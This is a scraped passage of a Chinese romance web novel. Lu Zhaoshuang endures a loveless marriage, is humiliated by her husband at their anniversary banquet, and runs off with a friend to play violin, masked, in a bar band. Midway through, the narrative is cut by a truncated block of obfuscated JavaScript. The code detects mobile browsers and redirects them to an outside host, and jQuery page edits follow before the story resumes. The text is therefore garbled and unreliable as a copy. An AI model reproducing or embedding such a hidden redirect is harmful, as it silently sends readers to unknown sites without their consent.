郁思弦抬头,望见他的浴袍和湿漉漉的头发,“你要睡了?我吵到你了吗?” “没有,睡不着,要不要喝一杯?” 郁思弦犹豫片刻,随后点头同意。 萧烨下到一楼,郁思弦已在岛台上倒了两杯酒,他在郁思弦对面坐下,端起酒杯尝了一口,是他最喜欢的马赛多。 他望了郁思弦一眼。 郁思弦双腿交叠,一边品酒,一边凝望着远处波光粼粼的湖面,并没有主动说话的意思。 这种无声无息的体贴周到,让萧烨更觉自己中午的言行不当。 他轻轻摇晃着红酒杯,看着杯中泛起的涟漪,斟酌道:“抱歉,思弦,今天被沈霖一激,我也没太过脑子,不该拿你做筏子的。” 郁思弦垂下眼帘,手指摩挲杯壁,“不用放在心上,但你确实不该在那种场合,让阿照下不来台。” “好好好,”萧烨揉了揉眉心,“我比沈霖年纪大,又是他姐夫,确实不该跟他一般见识。” 这话就好像在说沈霖无理取闹一样。 郁思弦不由蹙了下眉,“沈霖不是无缘无故耍脾气的人。” 萧烨笑了声:“那看来是我的错了?” 郁思弦沉声:“萧烨,沈霖为什么那么对你,你自己心里清楚。” 萧烨头疼地扶额。 和郁思弦待在一起固然清净,但听他在自己和阿霜之间拉偏架,也是不可避免的一环。 “公平点吧,思弦,婚姻是两个人的事,我们都是你的发小,你不能只站在阿霜那边。” 郁思弦淡笑了一声,“萧烨,我跟你说这句话,不是因为我是阿照的朋友,而是因为我是你的朋友。” “什么?”萧烨一时反应不过来,愣在当场。 郁思弦没有解释,将杯中酒一饮而尽,起身离开,“早点休息,我先回去睡了。” 走到二楼,他已抓住卧室门把手,却还是收了回去。 转身,隔着一层楼的距离遥望着萧烨。 声音轻而郑重,“这种作为朋友的提醒……也是最后一次了,萧烨。” 15. 第 15 章 五月中旬,两周年的结婚纪念日如期举行。 “陆小姐您今天真的很漂亮,比新娘还要漂亮呢。”化妆师嘴甜地夸赞道。 “是吗?”陆照霜看着镜子里倒映出的自己。 水蓝色的礼服很提气色,妆容做了整整两个小时,将她连日来的所有疲惫都尽数掩盖,好像一切年岁与心态的变化,都不曾在躯体上留下痕迹。 但她看着自己的眼睛,却十分清晰地知道,两年前结婚那天的纯粹心情,再也不会回来了。 “谢谢。”在化妆师察觉异样前,陆照霜礼貌地道谢。 “祝您两周年快乐!” “承你吉言。” “萧先生应该也快好了,我去看看那边。” 化妆师走后,偌大的化妆间内,只剩下陆照霜一个人。 她走到落地窗前。 正值初夏,天气凉爽,外面樱花摇曳盛放。 身后突然有人靠近,异常熟稔地搂住了她的腰,在她后颈上落下轻轻一吻。 陆照霜不用回头看,都知道是萧烨。 “怎么没戴我送你的那条项链?”萧烨垂眸看着陆照霜胸口的蓝宝石项链,微微挑眉。 陆照霜实在搞不懂,他为什么连这种日子都要想方设法来刺她一下,好像生怕她有一点开心似的。 “如果你真的很希望用那条项链来羞辱我的话,那好吧,下次我会如你所愿。” 萧烨搂在她腰上的手臂一僵,眸中闪过搞砸了什么事情一样懊恼的神色,但最终只是愤愤地在她颈上轻轻一咬。 “算了,不想戴就不戴,下次再送你条新的。” “你又乱来什么?”陆照霜立刻捂住自己的脖颈。 “放心,没留下痕迹。” 萧烨哂笑一声,好像只是想捉弄她一番,享受她一惊一乍的乐趣。 他松开还箍着她的手,转而拉她扶住他臂弯,神情认真了几分,“走吧,大小姐,该到我们表演的时候了。” 宴会办在申城最大的酒店,陆萧两家父母广邀各界名流,与其说这是他们俩的结婚纪念日,倒不如说,更像彰显两家合作关系的证明。 在简单的仪式和致辞结束后,这场宴会就彻底沦为人情往来的舞台。 陆照霜和长辈们一起,同身份显赫的贵客们寒暄致意。 她不参与公司经营,因此需要扮演的角色十分简单。 只需挽着萧烨的胳膊,一直保持微笑,然后在对方称赞或是祝福时,向对方表示感谢。 在这种场合,陆照霜经常觉得自己好像戏里的皮影人、或者是动物园里供人取笑的猴子,唯一值得宽慰的,就是其他人和她也没什么不一样,因此也并不产生难捱的孤独。 直到她听到室内乐团开始演奏。 那把小提琴流溢着丰沛的欢欣雀跃,好像真在庆祝着爱情的圆满似的。 陆照霜挽着萧烨的胳膊一紧,偏头看着萧烨谈笑风生的表情,还是觉得好可惜。 明明是他们的两周年纪念日,怎么就变成这样呢? 见过贵客们后,长辈们终于放松了管制,让他们夫妻俩自行去招待朋友。 哪怕是萧烨这样人情练达的人,今天也有些疲惫了,暂且躲在角落里喝了口酒,稍微缓缓。 “感觉比结婚那天都累。”他松了松自己的领带。 半天没得到回复,他才发现陆照霜正出神地注视着窗外。 萧烨用手肘戳了戳她的胳膊,故意拿话刺她,“怎么?又是什么事刺激到你了?今天这么枯燥的场合,也能让你伤春悲秋啊。” “不是。” 真罕见,陆照霜没有对他的讥讽做出反应,目光仍旧依恋地落在窗外,“萧烨,花开了,你没有看到吗?” 萧烨这才注意到,外面的樱花开得繁盛极了,这家酒店正好处于一个绝佳的观景地。 申城的晚樱比其他地方都开得更晚一些,但到这个时节,无论如何,也只是樱花落尽前的最后一次盛开了。 “真可惜,明明在这么漂亮的地方,但根本没人在意花开了。”陆照霜轻声说。 就像也根本没人在意他们的结婚纪念日一样。 萧烨不由偏头看过来。 陆照霜背对着一整个宴会厅和熙熙攘攘的人群,身姿被那件轻薄的礼服勾勒得十分纤瘦,有种隔得很远、仿佛根本不存在于此地的渺远。 萧烨不喜欢这种感觉,心头好像窜起某种不知名的急迫,非常想做点什么,让她重新变成自己熟悉的模样。 他伸手在她眼前晃了晃,“看来你很喜欢这个季节?” 陆照霜的注意力被拉了回来,她觉得萧烨的语气很奇怪,“花开得这么漂亮,为什么不喜欢?” 萧烨哼笑了声,“是漂亮,跟你当初抛弃我的那个季节一样漂亮。” 陆照霜被这个指控唬得一震,恍惚了片刻才明白过来,“你还记得当时的事啊。” 萧烨眯起眼,一把扣住她的手腕,力道很重,但在外人看来,却只像是一对爱侣正亲密牵手。 “当然记得了,就在我兴致勃勃定好了我们住的公寓,把毕业旅行的行程全都计划好了以后,你突然说你不去纽约了,你要留在申城读大学……那种感觉我怎么会忘?” 陆照霜原本还试图挣开他的手,闻言便随他去了,只是语气里却透着坚持,“萧烨,我不可能在我妈病情加重以后离开她。” “阿霜,别说得好像我是什么坏人,逼你做个不孝女一样。你很清楚章阿姨的性格,比起你陪她走完最后几年,她更希望你去深造。” “那是我妈的意愿,不是我的。” “所以你留在她身边,最后落到什么好了吗?” 和妈妈最后一次吵架的记忆再次浮上心头,陆照霜胸口剧烈起伏着,好一会儿,才忍耐着很轻地说:“就算那样……萧烨,那也是我的选择。” 萧烨勾起唇角,玩味似的,指腹在她手臂上打着转,“是吗?所以你的做法就是宁愿违背她的意愿,也要做你想做的事,就像对我做的那样。” 原来他想说的是这件事。 整整两年了,他仍旧放不下有关这段婚姻的开始。 陆照霜突然有些不确定了,就算她一直坚持下去,但他们真的会有成为正常夫妻的一天吗? 她一时没做声,那只握着她腕骨的手掌忽然更紧了几分。 “你弄疼我了,萧烨,松手。” 萧烨并未理睬,半眯的眼里闪过一丝不同寻常的警告,“别告诉我,阿霜,你现在开始后悔了?” 陆照霜一顿,望住他的眼睛,“你很怕我后悔吗?” 萧烨似是没料到她会这么问,怔愣片刻,随即淡笑一声,“我只是想提醒你,这是你先开始的游戏,别想先一步喊停。” 陆照霜自嘲般闭了闭眼。 她可真是,不撞南墙不回头,刚才到底在期待什么答 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“谢谢,你拉得很好听。” “我就知道学姐一定听见了!知道是要给你的结婚纪念日演奏,我练习了好久呢!学姐两周年快乐呀!” 一整天,陆照霜都驾轻就熟,用社交辞令应付宾客们的祝福。 唯独这一刻,看着女孩眼里这样纯粹的倾慕,她反倒有种难以招架的无措。 所有惯性社交的程序难以运转,笑容都僵硬了起来,“谢谢学妹。” 好在萧烨的声音救她于水火。 “阿霜,过来一下。” 陆照霜就势和老师学妹告别,转身前还看到小姑娘眉眼弯弯,像是在惊羡她事业婚姻的圆满。 她脸上发烫,有种几乎无地自容的羞惭。 萧烨奇怪看她,“谁惹你不高兴了?” 陆照霜摇头,不愿多说:“不是。” 萧烨也没多问,“晚上睿华能源的李总请我们吃饭。” 陆照霜皱眉,“我还得送沈霖去机场。” 萧烨又添一句,“他带他夫人一起过来。” 陆照霜眼里闪过短暂挣扎,这种情况,她不出席就有些失礼了,长辈们知道肯定又要说她不懂事。 终究还是点头,“好吧。” 至于送沈霖这件事,陆照霜只好托郁思弦代劳。 郁思弦没有推拒,他待沈霖时常比她这个表姐更好。 只是从她眉眼间扫过时,他开口问:“今天很累?” 陆照霜揉着鼻梁,“嗯”了声,“晚上还要和人吃饭,很麻烦。” 郁思弦垂眸看她片刻,忽然道:“林珩他们乐队今晚八点演出。” 陆照霜一愣,而后失笑,她上周都没答应去帮他们演出,今天的情况就更谈不上了。 “你知道我累,还想给我塞一件更累的事啊?” 郁思弦也笑了笑,开口时,说的却是一件八竿子打不着的事。 “小时候在家里复健,总是想着等康复了,就可以和你一起上学了。其实我知道这件事得花很久才能实现,但一想到这些苦闷的日子在未来有个出口,当下就没那么难捱了。” 陆照霜怔愣抬眼,好像猜到了他接下来要说什么。 “阿照,哪怕只是想象,这可以成为你的一个出口吗?” 16. 第 16 章 数天前晚樱初开的黄昏、偏僻古怪的酒吧、草台班子一样的乐队四人组、酣畅淋漓的最后一首歌…… 所有这一切记忆,都随着郁思弦的那句话涌入脑海,陆照霜指尖一跳,仿佛再一次被那种热度灼痛,酥麻的感觉在心口蔓延开来。 她变得好奇怪。 陆照霜蜷起手指,有种微妙的畏惧,她试图用玩笑掩盖,“这好像不是可以相互比较的情况吧?” 郁思弦追问:“为什么不可以?” “跟别人吃饭的时候,我满脑子都想着去酒吧里拉小提琴,是不是不大礼貌?” “那有什么关系?我好像经常这样想。” “你吗?”陆照霜惊疑不定地抬眼。 郁思弦半靠着墙壁,姿态轻松闲适,从微垂在额头的碎发下,能看到他眼中闪烁着几分并不常见的促狭。 那让他看起来比平时鲜活很多,却因为隐秘,叫陆照霜有种发现了什么秘密的感觉。 她有些一言难尽,“你就是用这种态度,和别人谈生意的?” “总有那么些时候吧。” 郁思弦随意地扫过宴会厅众人,“所有这些宴会、酒席、会议,加起来有点实际作用的,你觉得能有三分之一吗?就像今天到场的宾客,恐怕99%的人都不在乎,他们祝福的是你和萧烨,还是别的谁和谁。” 陆照霜心头直跳,他们穿着西装和礼服,站在宴会厅的一角,看上去和这个宴会里的每个人都一般无二,却说着这样悖逆的话。 有种说不清道不明的刺激。 可毕竟是自己的结婚纪念日,宾客们无论真心与否,到底也对她说过祝福。因此,她为这种刺激,而生出一点罪恶感。 陆照霜略微平复了一下心绪,笑着打岔过去,“但是最起码,你是来祝福我们的那1%。” 郁思弦偏头看着她,微微笑了一下,“是这样吗?” 陆照霜没放在心上,如果郁思弦都不祝福他们的话,这个世界上还有谁会真心祝福他们俩的婚姻呢? “聊什么呢?”沈霖走了过来。 郁思弦便直起身,“今天我送你。” “啊,”沈霖谈不上失望或者不失望,只是十分嫌弃地看了陆照霜一眼,“因为那混蛋,是吧?” 他没在今天闹出什么动静出来,陆照霜已经十分感谢,不再跟他计较这些小事。 “到了给我报个平安,帮我跟姨妈和静静代好,还有……”临近分别,她还是没忍住喋喋不休。 沈霖“啧”了声,“思弦哥,你看她,在萧烨跟前待了半天就跟被抽了一半魂似的,就这还要庆祝两周年呢。” 郁思弦肩头微耸,以示不参与他们姐弟之间的斗嘴。 陆照霜一腔待叙的感情就这么被噎住,她拍了一下沈霖的肩膀,“行了,赶紧走吧。” “又不是见不到了,去黎城的航班也就一个小时,搞得跟生离死别似的。我走了,和那个谁待在同一个城市里,我呼吸都不畅了。”沈霖大大咧咧挥了下手,便转身离开。 郁思弦朝她点了一下头,目光稍顿两秒,也跟了上去。 剩下陆照霜站在原地,怅然片刻,折身去找萧烨。 “我求你了,别再晃了,再晃我眼都要晕了。” 前方走廊有人说话,陆照霜一抬头,就看到那位姜学妹和他们室内乐团的其他人。 “可我就是忍不住嘛,”小姑娘背着琴盒,蹦蹦跳跳的,用做梦般的口吻说:“学长,我快乐到这种程度,真的是可以的吗?” 陆照霜脚步停住,沉默着等他们离开,才继续向前。 * 酒店顶层餐厅。 睿华能源的李总身居高位,有种浸润商场多年的油滑习气,况且已过知命之年,携来的妻子却不过二十出头,当真有点老而不死是为贼的感觉了。 陆照霜得竭力忍耐,告诉自己这是萧烨重要的生意伙伴,才不至于露出冒犯的表情。 她想起郁思弦说的话,林珩他们是不是正在从各自上班的公司出发,往酒吧赶,他们的同事会知道,他们还有那么尽情宣泄的一面吗? 她指尖又不由自主地一跳。 真好,她想。 郁思弦果然是搞错了,他向她说起的那些话,非但没有让她好过,反而变得更难捱了。 “听说两位是青梅竹马一起长大的,所以你们是彼此的初恋?” 饭局吃到一半,那位年轻的夫人不再拘谨,像只好奇的雀鸟,眼巴巴看着他们。 李总笑着摇了摇头,像是笑妻子实在太过孩子气。 陆照霜表情僵硬,感觉不管回答什么,都很尴尬。 萧烨笑了笑,把这茬岔了过去,“反正在结婚前,我们俩都没有谈过恋爱,是吧,阿霜?” 那位夫人“啊”了一声,“那你们的新婚岂不是都是你们的第一次,真好啊。” “咳咳——”陆照霜一杯茶差点没呛到气管。 “你啊。”李总讪讪一笑,李夫人则似嗔似怨地瞥了李总一眼。 陆照霜想杀人的心都有了,感情她就是这对夫妻play的一环。 萧烨忙伸手拍拍她的后背,半真半假地说:“那倒不一定呢。” 李总露出了一个心照不宣的笑容。 陆照霜脊背都僵住。 他刚说了什么? 她偏过头,去看萧烨的表情。 萧烨仍旧带着社交场上惯常的微笑,却像是一层厚厚的面具,看不出一点真正的想法。 结婚两年,就算他们聚少离多、关系算不得和睦,陆照霜也从未往别处怀疑——新婚那晚萧烨的生疏总不能是假的。 那他现在这是什么意思? 就好像咽下一只苍蝇,还要在食管里反复反刍,再也听不清他们在说什么。 过了一会儿,她借口去洗手间,先行离开。 不到要吐的程度,但还是觉得很恶心,于是打开水龙头,反复用水搓洗起自己的唇瓣,一直搓到嘴唇都有点红肿了,她才停手。 她抬头看着自己的脸,既觉得自己好笑,又在想她是不是太过小题大做。 脑子乱成一团,最后唯一能想起的,就是她出来太久了,是不是太失礼了。 整理了一下自己,她从洗手间出去,下一秒,却僵在原地。 萧烨 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那天之后,她的初吻和初恋一起飞抵了大洋彼岸。 陆照霜恪守着这个秘密,不曾跟任何人说起过这件事。 可原来,萧烨从一开始就知道的。 难怪他当初可以笃定,她喜欢他,因为他一直握着那天的回忆,就像握着一个把柄,用来在这种时刻捉弄她。 原来是这样啊。 “怎么哭了?”萧烨的声音突然有点不稳,双手捧起她的脸。 她哭了吗? 陆照霜视线模糊,她一直都很讨厌在别人面前哭出来,但现在却再也没有力气去在意这件事情。 “萧烨,那天对你来说算什么?很恶心吗?也对……被朋友强吻了,应该会很恶心吧,我早该跟你道歉的。” 萧烨头皮发麻,这下觉得,他可能有点玩大了,忙说:“阿霜,我没那么想,这只是个玩笑。” “玩笑啊。”陆照霜眼神空洞,一字字重复道。 那天从萧烨家里逃走,她感觉自己浑身都在发烫,心跳快到简直要撞出胸腔,她好慌、好怕,感觉自己罪大恶极,却也同时抚着唇角,好像被一种难以言喻的酸涩甜蜜击倒了。 但这一切,对他来说只是一个玩笑。 “阿霜,”萧烨感觉十分棘手,只能尽量保持镇定,去拉她的手,“等我们晚上回家再谈,现在先回去。” 陆照霜挣开他的手,向后退了一步。 萧烨一怔。 “我没法再配合你了,萧烨。”她看着他,一字字说完,然后拎着裙摆,转身奔向电梯。 这个时间,沈霖应该已经下了飞机,迫不及待回去见闻静;姜学妹看起来兴奋得有些过头,说不定等不及回学校,就在路上找了个地方开始即兴演奏;那个叫逃出人间的乐队,应该已经聚在了后台为演出做准备。 今天樱花在最后一次盛大开放,世上每多欢愉。 她终于无法再欺骗自己。 那个可以真心欢愉的世界,她也想去。 17. 第 17 章 陆照霜看着电梯一层层往下跳,那个红色的数字,就好像她急促的心跳。 郁思弦说林珩他们乐队8点开场,现在赶过去还来得及吗? 不,更重要的是,那个酒吧到底在哪?上一次是郁思弦开车载她去的,她根本没有去记位置,更没有去注意那间酒吧叫什么名字。为什么上次她不更用心一点? 电梯抵达1楼,她拎着裙摆,跑到街边打车。 不记得那个名字也没关系,她可以先回江源名苑,郁思弦总是知道那间酒吧在哪的。 可当出租车停在面前时,她却突然顿住,发热的大脑一点点降温。 她身上还穿着今天的那条礼裙,包落在了餐厅里,手机也没有带,她现在身无分文。 她真是疯了,莽撞、冲动、草率……一点也不像她自己。 可她要回去吗? 回到那个油滑的、令人作呕的饭局,回去和那个大腹便便的李总虚与委蛇,回去和萧烨继续扮演相敬如宾,假装不在意他所有的故意作弄? 就像她过去一直做的那样。 晚风从肩头拂过,樱花在昏黄路灯下摇曳坠落。 她闭了闭眼,那种生活不是不能忍受,但就是……好可惜。 把这么漂亮的夜晚,浪费在那些事情上,好可惜。 陆照霜咬了咬牙,敲了敲出租车的车窗,等对方把车窗降下后,她硬着头皮问:“抱歉,师傅,我能到了以后,请朋友帮我付钱吗?” 司机大叔看上去和她爸差不多年纪,扫了她一眼就乐了,“没事儿,上来吧姑娘,你穿的跟那个坐马车的公主似的,我还能怕你逃单不成?” 陆照霜愣了下,随后弯起眉眼,拉开车门。 车子朝江源名苑开去,申城的夜晚,车水马龙、灯红酒绿。 陆照霜趴在车窗边上,看着如流水般倒退的晚樱,然后迟疑着伸出手,将一片落到近处的花瓣握进掌心。 “喜欢看樱花呀,姑娘?那你运气不错,赶上最后一趟了,天气预报说明天下大雨,这花可就一点不剩喽。” 陆照霜“嗯”了一声,也笑了笑,“是啊,幸好赶上了。” 坐南瓜马车穿着蓝色长裙的,不是公主而是灰姑娘,司机大叔也不是仙女教母,但这一切,还是如同不到午夜就不会失效的魔法,让这个大脑发热的夜晚续写下去。 出租车一路开进江源名苑,陆照霜站在郁思弦家门口,按了下门铃。 过了好几分钟,她都开始担心郁思弦是不是不在家的时候,门开了。 “阿照?”郁思弦握着门把手,带着一身潮湿水汽出现,疑惑挑起眉。 他身上穿着质地柔软的T恤,头发湿漉漉的,水滴沿着发尾打在衣服上,留下斑驳不一的深浅痕迹。 “啊,你在洗澡……”陆照霜下意识往后退了一步,脑子懵懵的,“抱歉,没事了。” 郁思弦没给她逃跑的机会,一把攥住她手腕,“阿照,你想说什么,现在就说。” 他语气温和、又很轻,不给人强迫的感觉,很容易诱使人说出心里话。 陆照霜抿了抿唇,还是开口,“我现在去林珩他们乐队还来得及吗?” 郁思弦一顿,目光落在她身上没换下的礼裙和身后的出租车上。 她正在想她该怎么解释,郁思弦却什么也没问,而是反手将门锁在身后,“来得及,走吧。” 说完,郁思弦拖住她手腕,径自走到出租车前,俯身询问看热闹的司机大叔:“能劳烦您再送我们去个地方吗?” 得到同意后,他掌住后座车门,示意她坐进去。 陆照霜都有点凌乱了,她自己就够仓促了,但郁思弦显然比她更仓促。 他头发都还湿着,身上就带了只手机,哪怕他回去带件外套呢? 她迟疑问:“现在就走?” “嗯,现在。” 郁思弦温和地看着她,下句话却叫她心中重重一颤。 “阿照,你不知道吗?你现在看起来想拉琴想得要发疯。” …… 时隔半个月,再次抵达那间酒吧,这一次陆照霜抬起头,认认真真看着招牌,它叫“搁浅”。 她记下了。 距离上台只剩十分钟,郁思弦没有再多寒暄,带着她径自走进后台休息室。 逃出人间的乐队成员们都已经准备妥当,见他们推门而入,林珩一脸惊讶,“思弦,你怎么来了?” 郁思弦往后一瞥,上次演出时那个被雇来的大学生还在这里,便心中有数,“想给你介绍一个小提琴手。” 他偏头看向陆照霜,“阿照。” 林珩蹙着眉,盯着这个好像刚从订婚宴上逃出来的女人。 他对她有印象,但郁思弦上次没有介绍她,他以为这不过是郁思弦带来看演出的朋友。 他有点搞不清郁思弦这到底是什么动机,在这个时间把她推出来,“你是说……这位?” 陆照霜来都来了,没有理由在这种时刻退缩,她上前一步,朝林珩伸出手,“你好,我是陆照霜。” 林珩很勉强地和她握了下手,“好吧,陆小姐,那等今天演出结束了以后,我们可以来谈谈。” 之后吗?陆照霜眼睫轻颤,一时没有接话。 郁思弦目光从她脸上拂过,忽然插进一句,“既然无论如何都要看看相性,为什么不放到现在呢?” 屋内所有人都是一怔。 林珩简直有点摸不着头脑了,“什么意思?你想让她现在上场?” 郁思弦镇定地迎上他质疑的目光,“有什么不可以?” 林珩认识郁思弦这么多年,头一次觉得,郁思弦竟然是这么不靠谱的人。 他疯狂在脑子里提醒自己,郁思弦一直以来帮过他很多,他才不至于当场拉下脸。 “抱歉,那恐怕不行。且不说我根本不认识这位陆小姐,最大的问题是,她连我们的曲子怎么拉都不知道吧,她要怎么上场?” 陆照霜很清楚,林珩的考量从任何角度来说,都是非常正当的。 但是今晚从酒店逃走后,萦绕在心头的冲动和勇气,她舍不得就此放弃。 深吸了一口气,她抬眼直视林珩,决定去努力抓住这个机会。 “我上次来听过你们的演出,对你们的曲子有印象,我确实没法保证你们的每一首曲子我都可以复原,但我可以保证的是,那一首《假面》,我绝对不会拉错。” 林珩听笑了。 他多少年没见过这么狂的人了,听过一次他们的演出,就敢说自己绝对不会拉错?就算是他们自己乐队的人,都不敢打这个包票。 “嗯,怎么说呢……无论如何,陆小姐,至少我欣赏你的自信。” 他语气已有几分轻慢的嘲讽,但陆照霜看着他,表情却没有一丝波动,只是冷静反问:“林先生,你们现在的演出效果,和两周前那一次相比如何?” 林珩神情僵硬。 陆照霜懂了,遂道:“我知道我的提议在你看来非常荒谬,但我确信,我能让你的演出更精彩,对你来说,这不是一个亏本的提议。” “当然,”她又补充一句,“口说无凭,我可以现在就拉给你听。” 林珩眉头都快拧成一团了,郁思弦从哪找来这么轴的人? “那就不必了,时间也来不及,”顿了顿,看在郁思弦的面子上,他语气稍缓,“抱歉,这是我们乐队的演出,作为队长,我要对我们的观众负责。” 陆照霜手指攥紧又松开,在心里叹口气,稍觉惋惜。 她不确定,她还有没有那个下次。 但争取机会是她的选择,要不要给她这个机会,是林珩的权利,她没道理强迫林珩按她想要的做。 “好,”陆照霜肩膀松下来,朝他笑了笑,“那祝你们演出顺利。” 郁思弦没再多说什么,他尊重陆照霜的选择。 这场短短几分钟的争执,本该就此落下帷幕,谁料有人忽然开口:“让她试试呗,也没什么。” 众人目光齐齐转向房间角落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861646|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐勿凡仍旧穿着那条红裙,没骨头一样窝在化妆镜前的椅子里,察觉众人的视线,她才缓缓地掀起眼皮,语气透着股无所谓的慵懒。 “我是说,我们一个差点散伙的乐队,两个写字楼里时不时就九九六的小白领,”她朝鼓手唐湾和贝斯手高若涵努了努下巴,又朝林珩笑了笑,“哦,还有我们两个吃了上顿没下顿的临时工。” 林珩肩头僵硬,紧紧抿着唇,明明是个很倔的姿态,但看着徐勿凡的眼神却莫名有点伤心。 徐勿凡却看都没看他一下,托着下巴,笑眯眯看向小提琴手杜骅,“最后一个乐队成员还只能靠雇,弟弟,要不是你最近缺钱,恐怕也不愿意来参加我们的演出,对吧?” 杜骅摸了摸鼻子,尬笑了下。 徐勿凡摊开手,“我们本来就糟到不能更糟了,换一个见都没见过的队员上场,还能糟到哪里去?” 她说完,整个乐队都静了一静。 林珩和徐勿凡对视了好一会儿,才咬咬牙道:“行。” 他转过头,死死盯住陆照霜的眼睛,“把《假面》换到第一首,你上,我给你这一次机会,你要是这次拉不好,那我们以后也别谈了。” 他本就骨相锋利,这样充满敌意的时刻,看上去就更凶了。 后面的唐湾和高若涵互相交换了一个无可奈何的眼神。 没人觉得她能拉好,哪怕是不知为何帮她说话的徐勿凡,显然也不是因为看好她。 但这又如何?她需要的是机会,只要有机会,她自然能证明自己。 陆照霜毫不退让地看着林珩,笑着接下了他的考验,“好,一次就一次。” 门外有人咚咚敲门,“林珩,你们准备好了吗?该上场了!” “知道,马上就来!”林珩喊了一声,看也没看陆照霜一眼,就绷着脸从她旁边经过,推门出去了。 陆照霜不以为意,径自走到杜骅面前,礼貌询问:“抱歉,我走的急,没有带小提琴,可以借你的用一下吗?” 离得近了,她身上那股和这间酒吧格格不入的漂亮矜贵扑面而来,杜骅“喔”了一声,不知怎么,有点紧张,慌忙把小提琴递给她,“没事儿,你用吧。” “谢谢。”陆照霜朝他微微笑笑。 “不客气。”杜骅挠了挠头,真奇怪,他为什么觉得这个漂亮姐姐有点眼熟? 准备上台之际,徐勿凡忽然朝她撇来一眼,“没关系吗?” “什么没关系?” 徐勿凡朝外面的观众努了努下巴,眸光闪动,颇有种看热闹的意思,“被人看到你现在的样子,说不定还会拍下来传到网上,没关系吗?” 陆照霜一顿。 那种奇怪的感觉又来了。 从上一次看他们演出的时候开始,她就觉得,徐勿凡仿佛在注视着她。 然后看穿她所有的忧虑、不堪、考量。 她当然不是没关系的,不用想也知道,假如今天的事情传到长辈们那里,绝对不是能轻易收场的小事。 但她真的太舍不得这个头脑发热的夜晚。 所以,那些需要承担的后果,都等明天再说吧。 然而下一刻,一只温热的手擦过她的耳廓,将一面黑色的面具覆上她的脸。 徐勿凡微微挑眉,无趣地移开了视线。 郁思弦的声音在她身后响起,“现在没关系了。” 陆照霜摸了摸脸上的面具,感觉嗓音都哑了,“你怎么连这都有准备?” 外面响起稀稀落落的掌声,林珩率先走出去。 郁思弦动作不紧不慢,在她脑后绑着面具系带,轻描淡写回答:“接受我的怂恿出来冒险,是你的选择,在你真的做好准备之前,帮你善后就是我的责任。所以,阿照,别怕。” 陆照霜愣住。 系带绑好,那只手隔着一层薄薄的礼裙,落在她后背,并不包含任何旖旎意味,只有一种温和坚定的力道,将她轻轻推向那个灯光绚烂处。 “去吧,要玩得开心。” 18. 第 18 章 陆照霜一步踏上舞台,头顶的打光五颜六色、炫目刺眼,她下意识闭了闭眼。 “喔!林珩,你们从哪招的新人,真是越来越奇怪了!” 大概是看她装束与这里格格不入,底下有人吹起了口哨。 “没事,习惯就好,反正我们本来就奇怪。”林珩淡笑着回复,有种破罐子破摔的感觉,显然徐勿凡的话对他刺激不轻。 他们分散站在台上,朝台下的观众们挥着手,顾客们坐得这样近,嗡嗡的嘈杂声如同海浪,无孔不入扑面而来,还能嗅到酒水的气味。 陆照霜上一次在类似这种环境的地方演奏,还是大学的迎新晚会。 她只参加了那一次,就被妈妈严厉地喝止了,认为她是在浪费时间不务正业。 而现在,她所做的远超当时,妈妈会怎么想呢?恐怕已不能用不务正业来形容,而称得上一种亵渎了。 陆照霜握着小提琴的手紧了紧,不是因这种场合而紧张,只是有种轻飘飘的不确定,怀疑自己是不是又在犯下什么罪过。 她下意识回头看去。 郁思弦没有去前方落座,而是倚靠着后台墙壁,站在晦暗阴影里,见她望过来,眉眼温和地下敛,朝她轻轻点了下头。 他那个角度差到不能再差,除了他们的背影,还能看到什么? 陆照霜既觉得他真奇怪,又不可避免地感到安心。 想到身后还有这样一个人存在,他知晓她的悖逆,做了她的同谋,即便这是罪过,又有什么好怕的? 她深呼了口气,朝郁思弦微微一笑,然后转回身。 林珩同上次一样,正在热情洋溢地介绍着他们的成员。 轮到她的那一刻,林珩视线望过来,鼻翼微微抽动了一下,显得有点扭曲,但还是张臂向观众介绍她。 “这位是我们今天新来的支援乐手,但很抱歉,她的时间有限,所以只能为我们演奏接下来的这一首,《假面》。” 陆照霜有些意外。 林珩真的长着一张很自我的脸,但无论他私下对她有多大意见,却也不会在这种场合表露出来,是真心实意在为他们乐队的演出考虑的。 陆照霜不讨厌认真的人,所以,接下来,她也绝对不能在这一步出差错。 最前方,林珩朝徐勿凡点了下头,随后,电吉他的声音从林珩手下流淌而出,带着一种干燥、茫然、失真的味道,为这首《假面》开了场。 徐勿凡身体微微摇晃,轻声吟唱。 “每天从寂静清晨中醒来, 生活在日复一日地重复。 没人在意, 我的模样, 安安分分规规矩矩成为所有的一员。” 随着她的每一句歌词,鼓手贝斯都加入进来,伴奏变强。 陆照霜握住琴弓,闭上眼睛。 底下不少观众都是熟客,听到这里,已朝自己的同伴露出会心的微笑。 接下来,就该到小提琴出场的时机了,但逃出人间的小提琴嘛,他们私下都觉得还不如没有呢。 但下一秒,随着一段连弓,悠扬婉转的音色从其他所有乐器的声音中突围而出,将整首歌的情绪铺垫起来。 无论是林珩还是高若涵唐湾,都下意识望了过来,险些忘了自己手下的节奏。 只有徐勿凡一如往常,握着麦克风,唱起第二段主歌。 “每天在互道晚安后入睡, 夜晚在终日疲惫后开始。 可我不甘, 就此结束, 轰轰烈烈风风火火戴上梦境的王冠。” 最后一声落地,唐湾手握鼓锤狠狠敲下,随着这一声鼓声,副歌唱响。 林珩踩住音箱,堪称炫技的电吉他响起,张扬极了。 徐勿凡那种极富金属质感的音色,在副歌中毫不掩饰地宣泄而出。 “我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 别无选择,继续生活。 我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 迫不得已,戴上面具。” 陆照霜闭着眼睛,感受着灼烧过她的那把火焰,离她离得这么近。 这一刻,她突然明白,原来她会畏惧,是因为羡慕;她会躲避,是因为不敢直视。 她的心跳在每一个音符下狂热跳动,她终于还是忍不住,要伸出手,将把火拢进胸口。 小提琴高亢而嘹亮的声音,和徐勿凡的嗓音几乎融为一体,声嘶力竭地将歌曲导入高潮。 